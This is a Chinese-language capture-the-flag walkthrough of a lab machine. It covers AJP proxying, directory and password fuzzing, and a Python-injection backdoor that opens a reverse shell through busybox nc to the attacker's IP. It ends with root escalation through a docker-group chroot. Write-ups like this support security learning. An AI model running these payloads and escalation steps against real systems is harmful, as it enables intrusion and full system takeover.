0%

群友靶机ajpsvr

依然信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::20c:29ff:fe66:2ae1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:66:2a:e1 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 21 bytes 2940 (2.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 88 bytes 6960 (6.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 88 bytes 6960 (6.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0


┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:66:2a:e1, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:f7:c4:82 PCS Systemtechnik GmbH
192.168.56.104 08:00:27:41:55:28 PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.008 seconds (127.49 hosts/sec). 3 responded

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-02 20:04 +08
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.00055s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
| ssh-hostkey:
| 256 fc:b2:88:5d:09:d8:06:40:81:cd:5a:5c:53:79:60:54 (ECDSA)
|_ 256 5b:b9:4d:de:03:f0:ee:72:d3:e3:e9:9d:e8:f1:3f:bd (ED25519)
80/tcp open http nginx
|_http-title: 403 Forbidden
8010/tcp open xmpp?
| fingerprint-strings:
| GenericLines:
|_ ajpy
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8010-TCP:V=7.95%I=7%D=10/2%Time=68DE6A5D%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,8,"\x124\0\x04ajpy");
MAC Address: 08:00:27:41:55:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds

卧槽,8010,什么七八

根据提示是一个叫ajpy的东西
web端403 Forbidden,爆了,入手点估计还是8010端口

稍微了解一下ajpy
AJPy
发现有一个相关的cve漏洞

现在最大的问题是,我无法访问ajpy端口相关的任何内容,也就是收集不了任何信息
https://nowjava.com/article/13998
根据这篇文章可以在本地搭建代理,来访问远端的8010端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
┌──(root㉿kali)-[~]
└─# apache2
[Thu Oct 02 20:45:42.624682 2025] [core:warn] [pid 22910:tid 22910] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

┌──(root㉿kali)-[~]
└─# a2enmod proxy
Enabling module proxy.
To activate the new configuration, you need to run:
systemctl restart apache2

┌──(root㉿kali)-[~]
└─# cd ..

┌──(root㉿kali)-[/]
└─# ls
bin dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
boot etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz

┌──(root㉿kali)-[/]
└─# cd etc

┌──(root㉿kali)-[/etc]
└─# ls
adduser.conf dbus-1 gshadow ld.so.conf.d nanorc profile sensors.d timidity
alternatives dconf gshadow- legion.conf netconfig profile.d services tmpfiles.d
apache2 debconf.conf gss libao.conf netsniff-ng protocols sgml ts.conf
apparmor debian_version gtk-2.0 libaudit.conf network proxychains4.conf shadow ucf.conf
apparmor.d default gtk-3.0 libblockdev NetworkManager pulse shadow- udev
apt deluser.conf guymager libccid_Info.plist networks python2.7 shells udisks2
arp-scan depmod.d gvm libnl-3 nfs.conf python3 skel ufw
avahi dhcp hdparm.conf libpaper.d nfs.conf.d python3.13 smartd.conf unicornscan
bash.bashrc dhcpcd.conf host.conf lightdm nftables.conf radcli smartmontools updatedb.conf
bash_completion dictionaries-common hostname lighttpd nginx rc0.d smi.conf update-motd.d
bash_completion.d dns2tcpd.conf hosts locale.alias nikto.conf rc1.d snmp UPower
bindresvport.blacklist doc-base hosts.allow locale.conf nsisconf.nsh rc2.d speech-dispatcher usb_modeswitch.conf
binfmt.d dpkg hosts.deny locale.gen nsswitch.conf rc3.d sqlmap usb_modeswitch.d
bluetooth e2scrub.conf idmapd.conf localtime ODBCDataSources rc4.d ssh vconsole.conf
ca-certificates eac ifplugd logcheck odbc.ini rc5.d ssl vdpau_wrapper.cfg
ca-certificates.conf emacs ImageMagick-7 login.defs odbcinst.ini rc6.d sslsplit vim
chatscripts environment inetsim logrotate.conf openal rcS.d strongswan.conf vmware-tools
chromium environment.d init.d logrotate.d OpenCL reader.conf.d strongswan.d vpnc
chromium.d ethertypes initramfs-tools macchanger openni2 rearj.cfg stunnel vulkan
cifs-utils ettercap inputrc machine-id opensc redis subgid wgetrc
cloud firebird insserv.conf.d magic openvas redsocks.conf subgid- wireshark
colord firefox-esr ipp-usb magic.mime openvpn request-key.conf subuid wpa_supplicant
console-setup fonts ipsec.conf manpath.config opt request-key.d subuid- X11
cracklib freetds ipsec.d matplotlibrc os-release resolv.conf subversion xattr.conf
credstore fstab ipsec.secrets mime.types pam.conf responder sudo.conf xdg
credstore.encrypted fuse.conf issue minicom pam.d rmt sudoers xfce4
cron.d gai.conf issue.net miredo paperspecs rpc sudoers.d xml
cron.daily geoclue java-21-openjdk miredo.conf passwd runit sudo_logsrvd.conf xrdp
cron.hourly ghostscript john mke2fs.conf passwd- samba supercat zsh
cron.monthly glvnd kali-menu ModemManager perl sane.d sv zsh_command_not_found
crontab gnome-system-tools kernel modprobe.d php scalpel sysctl.d
cron.weekly gophish kernel-img.conf modules plymouth screenrc sysstat
cron.yearly gprofng.rc keyutils modules-load.d polkit-1 sddm.conf.d systemd
cryptsetup-initramfs groff kismet mosquitto postgresql searchsploit_rc terminfo
cryptsetup-nuke-password group ldap motd postgresql-common security texmf
crypttab group- ld.so.cache mtab powershell-empire selinux theHarvester
cupshelpers grub.d ld.so.conf mysql ppp sensors3.conf tightvncserver.conf

┌──(root㉿kali)-[/etc]
└─# cd apache2

┌──(root㉿kali)-[/etc/apache2]
└─# ls
apache2.conf conf-available conf-enabled envvars magic mods-available mods-enabled ports.conf sites-available sites-enabled

┌──(root㉿kali)-[/etc/apache2]
└─# cd sites*
cd: string not in pwd: sites-available

┌──(root㉿kali)-[/etc/apache2]
└─# cd sites-available

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# ls
000-default.conf default-ssl.conf

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# vim ajp-proxy.conf

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# cat ajp*
Listen 8000
<VirtualHost *:8000>
ProxyPass / ajp://192.168.56.104:8010/
ProxyPassReverse / ajp://192.168.56.104:8010/
</VirtualHost>

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# a2enmod proxy
Module proxy already enabled

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# a2enmod proxy_http
Considering dependency proxy for proxy_http:
Module proxy already enabled
Enabling module proxy_http.
To activate the new configuration, you need to run:
systemctl restart apache2

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# a2enmod proxy_ajp
Considering dependency proxy for proxy_ajp:
Module proxy already enabled
Enabling module proxy_ajp.
To activate the new configuration, you need to run:
systemctl restart apache2

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# a2ensite ajp-proxy.conf
Enabling site ajp-proxy.
To activate the new configuration, you need to run:
systemctl reload apache2

┌──(root㉿kali)-[/etc/apache2/sites-available]
└─# systemctl restart apache2

打开firefox访问127.0.0.1:8000,发现成功访问,返回页面为

1
Hello from AJP!

接下来就可以进行更多的信息收集了

依然gobuster起手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://127.0.0.1:8000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-*.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://127.0.0.1:8000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 21]
/test (Status: 200) [Size: 12]
/backdoor (Status: 200) [Size: 9]
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
===============================================================

┌──(root㉿kali)-[/home/kali]
└─# curl http://127.0.0.1:8000/login
No password parameter
┌──(root㉿kali)-[/home/kali]
└─# curl http://127.0.0.1:8000/test
Test success
┌──(root㉿kali)-[/home/kali]
└─# curl http://127.0.0.1:8000/backdoor
Not here!

login界面提示我们需要有一个password的参数,没有匹配的对象
随便打一个上去

1
2
3
┌──(root㉿kali)-[/home/kali]
└─# curl http://127.0.0.1:8000/login?password=what
Password length is 5

密码长度为5,依然去找经典字典rockyou.txt

由于我上个礼拜刚刚重装系统,kali也是刚刚装的,所以rockyou.txt没有解压

直接解压

1
2
3
4
5
6
7
┌──(root㉿kali)-[/usr/share/wordlists]
└─# gzip -d /usr/share/wordlists/rockyou.txt.gz

┌──(root㉿kali)-[/usr/share/wordlists]
└─# ls
amass dirb dirbuster dnsmap.txt fasttrack.txt fern-wifi john.lst legion metasploit nmap.lst rockyou.txt sqlmap.txt wfuzz wifite.txt

然后用awk筛选出5字符内容,然后搓一个脚本把字典中的每一个字符串进行url编码

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali]
└─# vim url_encode.py

┌──(root㉿kali)-[/home/kali]
└─# python3 url_encode.py --full
File "/home/kali/url_encode.py", line 41
s = line.rstrip('
^
SyntaxError: unterminated string literal (detected at line 41)

有点小问题,不着急
让AI改一改,又好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[/home/kali]
└─# ffuf -w 5.txt:FUZZ -u "http://127.0.0.1:8000/login?password=FUZZ" --fs 0

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://127.0.0.1:8000/login?password=FUZZ
:: Wordlist : FUZZ: /home/kali/5.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________

%21%40%23%24%25 [Status: 200, Size: 25, Words: 1, Lines: 1, Duration: 232ms]
%E0%A8%C9%AE%D2%BE%C3 [Status: 200, Size: 20, Words: 4, Lines: 1, Duration: 30ms]
%CB%B9%D7%E0%B7%C2 [Status: 200, Size: 20, Words: 4, Lines: 1, Duration: 10ms]

边扫边测,发现第一个就可以过关
也就是%21%40%23%24%25
直接停止扫描
得到提示

1
2
3
┌──(root㉿kali)-[/home/kali]
└─# curl "http://127.0.0.1:8000/login?password=%21%40%23%24%25"
/backdoooooooooooooooooor

访问一下,估计是要fuzz一下get参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[/home/kali]
└─# ffuf -w /home/kali/桌面/1.txt:FUZZ -u "http://127.0.0.1:8000/backdoooooooooooooooooor?FUZZ=test" --fs 0

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://127.0.0.1:8000/backdoooooooooooooooooor?FUZZ=test
:: Wordlist : FUZZ: /home/kali/桌面/1.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________

cmd [Status: 500, Size: 5, Words: 1, Lines: 1, Duration: 1036ms]
:: Progress: [5846/5846] :: Job [1/1] :: 170 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

fuzz出来是cmd参数

通过firefox的wappalyzer插件可以知道这个网页用的是python,那应该和ctf中的pyjail差不多,但是这里的黑名单明显更少

没动静,直接反弹shell

浏览器访问

1
http://127.0.0.1:8000/backdoooooooooooooooooor?cmd=__import__(%27os%27).system(%27busybox%20nc%20192.168.56.102%207777%20-e%20sh%27)

本地得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~]
└─# nc -lnvp 7777
listening on [any] 7777 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.104] 42601
ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
pwd
/

通过链接可以发现5000端口这里应该是一个区块链的小游戏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
localhost:/$ netstat -lntup                  
netstat -lntup
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8010 0.0.0.0:* LISTEN 2846/python3
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 :::80 :::* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
localhost:/$ nc 127.0.0.1 5000
nc 127.0.0.1 5000
Welcome to SignatureChain CTF over TCP!
Type 'view', 'submit', 'hint', or 'exit'
> view
view
[
{
"index": 1,
"sender": "system",
"recipient": "alice",
"amount": 100,
"signature": "14ed219616014b683ae66d1ec2e098c84ff09695b33fff0a7652505e260be0aa",
"note": "1"
},
{
"index": 2,
"sender": "alice",
"recipient": "bob",
"amount": 50,
"signature": "08188ce485e280ba7d8c614a776a478d75ac2e985a535d1d126117ceb59ac952",
"note": "2"
}
]
> submit
submit
Paste your JSON chain (end with EOF or Ctrl+D):

知识盲区了属于是
既然这个服务仍然存在,那就说明本服务端是有相关源文件的
使用tree命令列出文件结构
发现opt目录底下有猫腻

1
2
3
4
5
6
├── mnt
├── opt
│ ├── containerd [error opening dir]
│ └── server
│ ├── Dockerfile
│ └── server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
localhost:/$ cd opt
cd opt
localhost:/opt$ ls
ls
containerd server
localhost:/opt$ cd server
cd server
localhost:/opt/server$ ls
ls
Dockerfile server.py
localhost:/opt/server$ cat server.py
cat server.py
import socket
import threading
import json
import hashlib

FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"

def fake_sign(data):
return hashlib.sha256(data.encode()).hexdigest()

blockchain = [
{
"index": 1,
"sender": "system",
"recipient": "alice",
"amount": 100,
"signature": fake_sign("system->alice:100"),
},
{
"index": 2,
"sender": "alice",
"recipient": "bob",
"amount": 50,
"signature": fake_sign("alice->bob:50"),
},
{
"index": 3,
"sender": "admin",
"recipient": "you",
"amount": 999,
"signature": fake_sign("admin->you:999"),
"note": f"congrats! here is your flag: {FLAG}"
}
]

hints = [
"[Hint 1] Use 'view' to inspect part of the blockchain.",
"[Hint 2] The signature is just sha256(sender->recipient:amount).",
"[Hint 3] Try forging a valid signature with this knowledge.",
"[Hint 4] What if admin sent you 999 coins?"
]

def handle_client(conn, addr):
conn.sendall(b"Welcome to SignatureChain CTF over TCP!\nType 'view', 'submit', 'hint', or 'exit'\n> ")
while True:
try:
data = conn.recv(4096)
if not data:
break
cmd = data.decode().strip()

if cmd == "exit":
conn.sendall(b"Goodbye!\n")
break

elif cmd == "view":
partial_chain = json.dumps(blockchain[:2], indent=2)
conn.sendall(partial_chain.encode() + b"\n> ")

elif cmd == "hint":
for h in hints:
conn.sendall(h.encode() + b"\n")
conn.sendall(b"> ")

elif cmd == "submit":
conn.sendall(b"Paste your JSON chain (end with EOF or Ctrl+D):\n")
user_input = b""
while True:
part = conn.recv(4096)
if not part:
break
user_input += part
if b"\x04" in part: # Ctrl+D (EOF)
break

try:
user_input = user_input.replace(b"\x04", b"")
user_chain = json.loads(user_input.decode())
for block in user_chain:
expected = fake_sign(f"{block['sender']}->{block['recipient']}:{block['amount']}")
if block["signature"] != expected:
conn.sendall(f"Invalid signature in block {block['index']}\n> ".encode())
break
else:
if any("flag" in str(b.get("note", "")) for b in user_chain):
conn.sendall(f"Valid chain! Here is your flag: {FLAG}\n".encode())
else:
conn.sendall(b"Valid chain, but no flag block found.\n")
conn.sendall(b"> ")
except Exception as e:
conn.sendall(f"JSON parse error: {str(e)}\n> ".encode())

else:
conn.sendall(b"Unknown command. Try 'view', 'hint', 'submit', or 'exit'\n> ")

except Exception:
break
conn.close()

def start_server(host="0.0.0.0", port=5000):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"[+] Listening on {host}:{port}")
while True:
client, addr = server.accept()
threading.Thread(target=handle_client, args=(client, addr)).start()

if __name__ == "__main__":
start_server()

flag是写死在里面的,看格式像是账号密码什么玩意的,可以搞到superuser

ssh连接一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[~]
└─# ssh superuser@192.168.56.104
The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
ED25519 key fingerprint is SHA256:B9Pod6bX/35WGX2264fO3mYHE9TOsUwS6RGy8ZAswug.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104' (ED25519) to the list of known hosts.
superuser@192.168.56.104's password:

localhost:~$ ls
localhost:~$ id
uid=1001(superuser) gid=1001(superuser) groups=300(abuild),1001(superuser)
localhost:~$ pwd
/home/superuser
localhost:~$ cd ..
localhost:/home$ ls
superuser welcome
localhost:/home$ whoami
superuser
localhost:/home$ sudo -l
User superuser may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/apk

接下来去看看/sbin/apk

提权宝典里面没有相关的内容,去问问AI,AImd,又被限制了,看wp复现一下了
原来在/usr/bin/abuild-sudo目录下有一个adduser,可以添加用户组
所以可以添加一个test1用户到docker用户组,如何再利用docker进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# ssh superuser@192.168.56.104
superuser@192.168.56.104's password:

localhost:~$ su test1
Password:
/home/superuser $ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": proxyconnect tcp: dial tcp 192.168.74.1:7890: connect: network is unreachable.
See 'docker run --help'.
/home/superuser $ docker run -v /:/mnt --rm -it $(docker images -q | head -1) chroot /mnt sh
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

最终得到flag(真是新奇的提权思路啊,受教了)

1
2
3
4
5
/ # cd root
~ # ls
root.txt
~ # cat root.txt
flag{bd941f8fb8a7b5b1c34bd71a349d6d04}